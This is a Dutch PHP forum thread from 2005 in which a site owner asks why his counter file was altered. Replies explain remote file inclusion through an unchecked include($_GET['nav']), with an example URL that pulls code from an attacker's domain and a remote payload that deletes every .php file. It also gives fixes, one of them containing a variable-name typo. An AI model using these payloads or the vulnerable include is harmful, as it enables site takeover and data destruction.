[PHP] counter 'gehackt' ?

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • de Peer
  • Registratie: Juli 2002
  • Laatst online: 23:00

de Peer

under peer review

Topicstarter
ik heb ergens op een site een hele simpele counter met een count.php en een count.txt
de count.php ziet er zo uit:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
$c_ip = $HTTP_COOKIE_VARS["user_ip"];
$counter_file = "count.txt"; 
$counter_file_line = file($counter_file);  if(!$c_ip) { 
setcookie("user_ip", $REMOTE_ADDR, time()+360000);  $counter_file_line[0]++; 
$cf = fopen($counter_file, "w+"); 
fputs($cf, "$counter_file_line[0]");     fclose($cf); 
} 
elseif($c_ip != $REMOTE_ADDR){ 
$counter_file_line[0]++;   $cf = fopen($counter_file, "w+"); 
fputs($cf, "$counter_file_line[0]"); 
fclose($cf); 
}
?>

nu keek ik laatst op de site en zag ik tot mijn verbazing staan:
u bent de hallo!e bezoeker

in de count.txt stond inderdaad "hallo!" ingevuld.
maar het vreemde is dat in de count.php ook stond:
(waarbij het dus gaat om regel 11)
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
$c_ip = $HTTP_COOKIE_VARS["user_ip"];
$counter_file = "count.txt"; 
$counter_file_line = file($counter_file);  if(!$c_ip) { 
setcookie("user_ip", $REMOTE_ADDR, time()+360000);  $counter_file_line[0]++; 
$cf = fopen($counter_file, "w+"); 
fputs($cf, "$counter_file_line[0]");     fclose($cf); 
} 
elseif($c_ip != $REMOTE_ADDR){ 
$counter_file_line[0]++;   $cf = fopen($counter_file, "w+"); 
fputs($cf, "hallo!"); 
fclose($cf); 
}
?>

iemand heeft dus die regel 11 in mijn php-bestand gewijzigd. terwijl ik alleen chmod schrijfrechten voor de eigenaar heb opgegeven.
hoe is zoiets mogelijk en hoe kan ik het voorkomen? op de (simpele) site bevindt zich behalve de count.php nog een navigatie via php.

[ Voor 15% gewijzigd door de Peer op 11-01-2005 23:02 ]


Acties:
  • 0 Henk 'm!

  • vriesdude
  • Registratie: Februari 2002
  • Laatst online: 19-09 19:14
Weet je zeker dat niemand een geintje met je uithaalt, (iemand die ook ftp acces heeft)..

In count.php zie ik geen lekken waarmee dit bestand aangepast zou kunnen zijn, of dit in navigatie.php ook zo is kan ik niet zeggen zonder code, maar ik verwacht niet dat iemand op die manier (een navigatie script) een bestand kan veranderen.

Tenzij je navigatie script een filebrowser is. Oberigens is het met de chmod instellingen die jij beschrijft dan nog niet mogelijk om dit via een php script te doen.

/dev/null


Acties:
  • 0 Henk 'm!

  • spone
  • Registratie: Mei 2002
  • Niet online
Je script is in orde hoor :)

i5-14600K | 32GB DDR5-6000 | RTX 5070 - MacBook Pro M1 Pro 14" 16/512


Acties:
  • 0 Henk 'm!

  • frickY
  • Registratie: Juli 2001
  • Laatst online: 22-09 15:11
Dat zou ik ook al weer neit willen beweren.. *ahum* super globals *ahum*.. O-)

Maar er is geen manier om dat 'hallo' in dat PHPtje te krijgen met behulp van dit script. Toch iemand met FTP rechten die je zit te kwallen ;)

Acties:
  • 0 Henk 'm!

  • iH8
  • Registratie: December 2001
  • Laatst online: 17-06-2024

iH8

ahahaha een werkgever heeft mij wel eens gevraagd of ik wel precies wist hoe ik taskswitchen moest. ik zeg hoezo? zegt ie, check je code van gister. stond er ergens in die code een comment:

// ej skatje ik ook van jou

zal er wel langgealttabbed hebben hahahahaha |:( misschien zo'n zelfde probleempje? klinkt mij toch echt als of iemand gewoon ftprechten heeft of misschien even kans heeft gezien om achter je bak te springen?

Aunt bunny is coming to get me!


Acties:
  • 0 Henk 'm!

  • Bosmonster
  • Registratie: Juni 2001
  • Laatst online: 22-09 16:31

Bosmonster

*zucht*

Of je hebt nog meer scripts op je site staan die bestanden editen? Als daar een beveiligingsprobleempje in zit kan iemand net zo makkelijk je php bestanden aanpassen natuurlijk.

Acties:
  • 0 Henk 'm!

  • mcdronkz
  • Registratie: Oktober 2003
  • Laatst online: 16-04 12:44
Je hebt ook de includebug op je site.... ik kan als ik wil iedere code die ik wil uitvoeren op je site. Beter fix je dat ff.

Acties:
  • 0 Henk 'm!

  • de Peer
  • Registratie: Juli 2002
  • Laatst online: 23:00

de Peer

under peer review

Topicstarter
ik ben echt de enige met de ftprechten en verder alleen dit navigatiescriptje:
en volgens mij heb ik het zelf ook niet gedaan want ik heb al heel lang niets meer aan die site gedaan en toen ik er weer eens eventjes ging kijken stond het er opeens.
PHP:
1
2
3
4
5
6
7
8
        <?php 
            if (isset($_GET['nav'])) { 
                include ($_GET['nav'].".html");
            } 
            else { 
                include ("welkom.html");
            } 
        ?> 

Acties:
  • 0 Henk 'm!

  • mcdronkz
  • Registratie: Oktober 2003
  • Laatst online: 16-04 12:44
Mja, je moet natuurlijk eerst checken of het bestand bestaat alvorens je het include.

Als je wilt wil ik best wel ff een veilig stukkie code voor je schrijven.

Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 21-09 02:21

Janoz

Moderator Devschuur®

!litemod

Je site is zo lek als een mandje, het zou mij dus niks verbazen wanneer een willekeurig iemand grappig bezig is geweest. Ik raad je echter aan om even een heel goede backup te maken van je site. Eventueel kan ik dit topic nog wel even voor je 'opbergen' zodat het niet compleet out in the open is.

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

de Peer schreef op woensdag 12 januari 2005 @ 16:12:
PHP:
1
2
3
4
5
6
7
8
        <?php 
            if (isset($_GET['nav'])) { 
                include ($_GET['nav'].".html");
            } 
            else { 
                include ("welkom.html");
            } 
        ?> 
Laat ik eens wat invullen in mijn browser. Let op:
http://www.jouwdomein.nl/...omein.com/evilscript.php&
Jouw script maakt daarvan:
http://www.jouwdomein.nl/....com/evilscript.php&.html
Dat kan dus prima, en daarmee voer ik mijn code uit op jouw server, en het is goed mogelijk dat je op die manier iemand aan je bestanden hebt laten klooien. :)

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

  • de Peer
  • Registratie: Juli 2002
  • Laatst online: 23:00

de Peer

under peer review

Topicstarter
Als iemand wil helpen om het veilig te krijgen: heel graag!
of in ieder geval uitleggen waar het precies lek is.

Acties:
  • 0 Henk 'm!

  • OkkE
  • Registratie: Oktober 2000
  • Laatst online: 04-09 08:16

OkkE

CSS influencer :+

Je moet controleren of de waarde van $_GET['nav'] wel is wat jij verwacht. Beter is daarom om bijv. zoiets te doen:

PHP:
1
2
3
4
5
6
7
8
9
10
11
switch( $_GET['nav'] )
{
case "pagina1":
include 'pagina1.html';
break;
case "pagina2":
include 'pagina2.html';
break;
default:
include 'welkom.html';
}


// Edit

Of, als je een 'oneindig' aantal pagina's wilt kunnen includen, en het dus niet te doen is alles in de pagina te zetten, dan zorgen dat alleen files uit een bepaalde map op jouw server ge-include kunnen worden, door bijv. de $_SERVER['DOCUMENT_ROOT'] ervoor te plakken.

[ Voor 41% gewijzigd door OkkE op 12-01-2005 16:52 ]

“The best way to get the right answer on the Internet is not to ask a question, it's to post the wrong answer.”
QA Engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 999999999 beers. Orders a lizard. Orders -1 beers.


Acties:
  • 0 Henk 'm!

  • Scott
  • Registratie: December 2004
  • Laatst online: 20-09 21:57

Scott

Ik ben, dus ik tweak

-NMe- schreef op woensdag 12 januari 2005 @ 16:43:
[...]

Laat ik eens wat invullen in mijn browser. Let op:
http://www.jouwdomein.nl/...omein.com/evilscript.php&
Jouw script maakt daarvan:
http://www.jouwdomein.nl/....com/evilscript.php&.html
Dat kan dus prima, en daarmee voer ik mijn code uit op jouw server, en het is goed mogelijk dat je op die manier iemand aan je bestanden hebt laten klooien. :)
Kan me vergissen hoor, maar is het niet zo dat bestanden op dezelfde server moeten staan om aan de server side code te kunnen komen ? Want anders zou ik ook de index van bijv. T.net kunnen includen en niet-gewenste dingen mee kunnen doen..

In jouw voorbeeld wordt uiteindelijk evilscript.php&.html included. Dan moet op de server waar hij zn site host dus ook ingesteld staan dat in .html bestanden PHP uitgevoerd kan worden, wat vaak niet zo is.

Acties:
  • 0 Henk 'm!

Verwijderd

Wat denk je dat er gebeurt als ik op www.mijndomein.nl het volgende bestand zet:

http://mijndomein.nl/tochjammer.html

code:
1
2
3
<?
  foreach (glob('*.php') as $file) unlink($file);  
?>


En dan naar jouw pagina ga met:

http://jouwdomein.nl/inde.../mijndomein.nl/tochjammer

...

Juist.

---

Voor de mensen die in de war zijn met PHP interpretatie en waar het gebeurt: het DOCUMENT dat op het te includen URL gevonden wordt wordt geinclude in de PHP code. Het hoeft dus geen PHP bestand te zijn. Sterker nog, als het wel een PHP bestand zou zijn dan zou je niet dat PHP bestand includen maar de uitvoer van dat PHP bestand.

[ Voor 47% gewijzigd door Verwijderd op 12-01-2005 16:56 ]


Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

@OkkE: dit lijkt me beter te onderhouden:
PHP:
1
2
3
4
5
6
$paginas = array('menu', 'help', 'contact');
if (isset($_GET['nav']) && in_array($_GET['nav'], $pagina)) {
  include($_GET['nav'] . '.html');
} else {
  include('fout.html');
}

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

Verwijderd

hey lachen! ik wist niet dat dat kon! waarom schermt PHP dat niet zelf af? MS is in het verleden vaak genoeg afgefakkelt voor vergelijkbare bugs (het toestaan van externe dingen). Lijkt me toch dat dat ergens in de config wel te blokkeren moet zijn dat de php code alleen van de eigen server mag komen.

Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

ScottB schreef op woensdag 12 januari 2005 @ 16:52:
Kan me vergissen hoor, maar is het niet zo dat bestanden op dezelfde server moeten staan om aan de server side code te kunnen komen ? Want anders zou ik ook de index van bijv. T.net kunnen includen en niet-gewenste dingen mee kunnen doen..

In jouw voorbeeld wordt uiteindelijk evilscript.php&.html included. Dan moet op de server waar hij zn site host dus ook ingesteld staan dat in .html bestanden PHP uitgevoerd kan worden, wat vaak niet zo is.
Hij include een bestand in een PHP bestand. Als daar PHP-code in staat, dan wordt die code uitgevoerd.

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

Verwijderd

ScottB schreef op woensdag 12 januari 2005 @ 16:52:
[...]


Kan me vergissen hoor, maar is het niet zo dat bestanden op dezelfde server moeten staan om aan de server side code te kunnen komen ? Want anders zou ik ook de index van bijv. T.net kunnen includen en niet-gewenste dingen mee kunnen doen..
Dat is afhankelijk van de instellingen van PHP. Je kunt het uitzetten, maar standaard staat het afaik aan.

Zo heeft een of andere onverlaat het pas gepresteerd om via een brakke php pagina van een user van onze server een smerig DDoS script uit te voeren. Niet leuk als je bak daarvoor misbruikt wordt (en al helemaal niet als die met gigabit aan internet hangt :( )

Acties:
  • 0 Henk 'm!

  • Gerco
  • Registratie: Mei 2000
  • Laatst online: 19:06

Gerco

Professional Newbie

Verwijderd schreef op woensdag 12 januari 2005 @ 16:54:
hey lachen! ik wist niet dat dat kon! waarom schermt PHP dat niet zelf af? MS is in het verleden vaak genoeg afgefakkelt voor vergelijkbare bugs (het toestaan van externe dingen). Lijkt me toch dat dat ergens in de config wel te blokkeren moet zijn dat de php code alleen van de eigen server mag komen.
Dat kun je ook blokkeren in php.ini, de instelling allow_url_fopen uitzetten, makkelijk zat.

Helaas kun je dan ook geen rss feeds meer lezen of wat dan ook extern doen vanuit php (tenzij je zelf http gaat spreken via een socket). Dus meestal blijft dat gewoon aanstaan.

Je zou ook eens kunnen kijken naar hardened php, die veel van de security problemen in PHP probeert aan te pakken en daar heel aardig in slaagt. Als je de uitleg daarvan gelezen hebt, vertrouw je gelijk geen vanilla-php server meer :)

- "Als ik zou willen dat je het begreep, legde ik het wel beter uit!" | All number systems are base 10!


Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 21-09 02:21

Janoz

Moderator Devschuur®

!litemod

Verwijderd schreef op woensdag 12 januari 2005 @ 16:54:
hey lachen! ik wist niet dat dat kon! waarom schermt PHP dat niet zelf af? MS is in het verleden vaak genoeg afgefakkelt voor vergelijkbare bugs (het toestaan van externe dingen). Lijkt me toch dat dat ergens in de config wel te blokkeren moet zijn dat de php code alleen van de eigen server mag komen.
Dit is geen bug van php zelf. Af en toe zou er zelfs nog wel nut kunnen zijn om dit op deze wijze te doen. De bug zit in het php-script.

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Acties:
  • 0 Henk 'm!

Verwijderd

Janoz schreef op woensdag 12 januari 2005 @ 17:42:
[...]
Dit is geen bug van php zelf. Af en toe zou er zelfs nog wel nut kunnen zijn om dit op deze wijze te doen. De bug zit in het php-script.
Ik denk dat als het een MS product geweest zou zijn dat men het een bug genoemd had dat de default instelling te onveilig zou zijn. De bug zit in de gebruiker die met weinig kennis en laagdrempelig allerlei gebakjes online kan zetten. Ik vraag me af of mijn shell php script het dan ook doet, ik zie geen reden van niet. Toch wel een heel groot gat zeg.

Acties:
  • 0 Henk 'm!

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 21-09 02:21

Janoz

Moderator Devschuur®

!litemod

Er is een groot verschil tussen een internet explorer die untrusted pagina's behandeld en een php interperter die in een trusted script behandeld. Waneer je in je eigen code een exploit maakt dan is die exploit je eigen schuld. Wanneer MS voor zijn mail een html renderer gebruikt die door hun fout untrusted content (wat mail is) als trusted behandeld en daardoor untrusted executables uit kan voeren dan is dat wel de fout van MS. Zelf een stukje code schrijven dat gebruikers invoer gebruikt om een extern bestand in te laden zonder dit te controleren en dan vervolgens gebruikers hebben die via die gebruikers input een extern bestand inladen is iets heel anders dan op het knopje 'mail ophalen' drukken.


Je kunt immers ook niet de c++ compiler verantwoordelijk houden voor de fouten in internet explorer toch? Daarmee heb ik gelijk je ms steling onderuit geschopt aangezien ik hier nog niemand op de VC++ compiler heb zien ranten omdat er zoveel bugs in Internet explorer oid zitten.

Op PHP valt genoeg aan te merken, echter is dit niet een van die dingen.

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'

Pagina: 1